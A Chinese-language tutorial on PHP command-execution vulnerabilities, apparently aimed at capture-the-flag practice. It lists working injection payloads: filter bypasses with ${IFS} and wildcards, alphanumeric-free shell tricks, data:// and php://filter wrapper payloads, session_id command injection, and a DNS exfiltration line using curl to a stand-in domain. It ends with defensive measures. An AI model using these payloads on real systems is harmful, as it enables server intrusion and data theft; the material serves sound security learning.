浅析命令执行
字数 2461 2025-08-29 08:31:35
命令执行漏洞深度解析与实战指南
一、命令执行漏洞概述
1.1 漏洞定义
命令执行漏洞是指Web应用程序对用户输入的命令安全检测不足,导致攻击者能够注入并执行恶意系统命令的安全漏洞。当应用需要调用外部程序处理内容时,会使用一些执行系统命令的函数,如果用户可以控制这些函数中的参数,就可能造成命令执行攻击。
1.2 漏洞危害
- 继承Web服务程序的权限执行系统命令或读写文件
- 反弹shell获取服务器控制权
- 控制整个网站甚至服务器
- 作为跳板进行内网渗透
二、相关函数与知识
2.1 PHP危险函数
2.1.1 命令执行函数
system(): 执行外部程序并显示输出exec(): 执行外部程序但不直接输出结果passthru(): 执行外部程序并直接输出原始结果shell_exec(): 通过shell执行命令并以字符串返回输出
2.1.2 文件操作函数
highlight_file()/show_source(): 对文件进行语法高亮显示file_get_contents(): 将整个文件读入字符串fopen()/fread(): 文件操作函数
2.1.3 其他相关函数
isset(): 检测变量是否设置eval(): 执行字符串作为PHP代码glob(): 返回匹配指定模式的文件名或目录session_start()/session_id(): 会话管理函数
2.2 Linux命令与重定向
2.2.1 文件查看命令
cat: 从第一行开始显示全部内容tac: 从最后一行倒序显示内容nl: 显示内容并输出行号more/less: 分页显示内容head/tail: 显示文件开头/结尾部分
2.2.2 重定向符号
>: 输出重定向(覆盖)>>: 输出重定向(追加)<: 输入重定向2>: 错误输出重定向/dev/null: Linux空设备文件(黑洞)2>&1: 将标准错误重定向到标准输出
2.3 正则表达式基础
?: 匹配前一个字符0次或1次.: 匹配除换行符外的任意字符*: 匹配前一个字符0次或多次\i: 大小写不敏感匹配\w: 匹配任意单词字符[A-Za-z0-9_]\d: 匹配任意数字[0-9]
三、高级绕过技术
3.1 无数字字母构造Webshell
当数字和字母被过滤时,可利用未被过滤的字符通过运算拼接得到所需字符:
3.1.1 异或运算
def num():
for i in range(0, 256):
if (i ^ ord('#') == ord('_')):
print(chr(i))
return
3.1.2 取反运算
公式:~a = -(a+1)
利用取反运算构造所需数字:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))
3.2 空格绕过技术
<、<>、%09(Tab)${IFS}、$IFS$9- 重定向符号
<代替空格
3.3 命令分隔绕过
;: 命令分隔符(常被过滤)|: 管道符||: 或运算符(前命令失败执行后命令)&&: 与运算符(前命令成功执行后命令)%0a: 换行符
3.4 通配符使用
*: 匹配任意数量字符?: 匹配单个字符[a-z]: 匹配范围- 示例:
cat fla*、cat fla?.php
四、伪协议利用
4.1 常用伪协议
-
file://
- 条件:
allow_url_fopen和allow_url_include任意开启 - 用法:
file://[文件路径]
- 条件:
-
php://
- 条件:
allow_url_include需开启 - 常用形式:
php://input: 执行POST输入的PHP代码php://filter: 读取文件内容
- 示例:
php://filter/read=convert.base64-encode/resource=flag.php
- 条件:
-
data://
- 条件:
allow_url_fopen和allow_url_include都需开启 - 用法:
data://text/plain,<?php phpinfo();?>data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
- 条件:
-
zip://、phar://、zlib://
- 可访问压缩包内文件
- 示例:
zip:///var/www/html/uploads/file.jpg%23shell.php
4.2 伪协议实战案例
?c=data://text/plain;base64,PD9waHAgZWNobyBgdGFpbCBmKmA/Pg==
解码后为:<?php echo tail f* ?>
五、Session利用技术
5.1 Session机制原理
- Session保存在服务器内存中
- 通过
session_id标识客户端 - PHP默认Session存储路径:
/tmp/
5.2 Session利用方法
- 通过
session_id()执行命令:
?c=session_start();system(session_id());
然后设置Cookie: PHPSESSID=ls
- 通过
show_source()读取文件:
?c=show_source(session_id(session_start()));
设置Cookie: PHPSESSID=flag.php
注:PHP 5.5-7.1.9版本有效
六、实战技巧与Payload
6.1 文件目录遍历
c=var_dump(scandir(current(localeconv())));
// 或
c=print_r(scandir(dirname(__FILE__)));
6.2 随机获取文件
c=show_source(array_rand(array_flip(scandir(current(localeconv())))));
6.3 逆序输出文件
c=show_source(next(array_reverse(scandir(current(localeconv())))));
6.4 严格过滤下的绕过
// 使用bin目录下的命令
c=/bin/?at${IFS}f??????
6.5 无回显情况处理
// 将结果写入文件再访问
c=ls>/var/www/html/1.txt
// 或使用DNS外带
c=curl `whoami`.yourdomain.com
七、防御措施
-
输入验证:
- 严格限制用户输入格式
- 使用白名单而非黑名单
-
函数替代:
- 使用
escapeshellarg()和escapeshellcmd() - 避免直接使用系统命令函数
- 使用
-
权限控制:
- Web服务运行在低权限用户下
- 禁用危险函数(
disable_functions)
-
配置安全:
- 关闭不必要的伪协议支持
- 设置
open_basedir限制访问目录
-
日志监控:
- 记录所有命令执行操作
- 设置异常行为告警
八、总结
命令执行漏洞危害严重,攻击者可通过多种方式绕过防御措施。安全开发应从设计阶段就考虑命令执行风险,采用最小权限原则,并实施多层防御策略。对于安全研究人员,深入理解系统机制和灵活运用各种绕过技术是发现和利用此类漏洞的关键。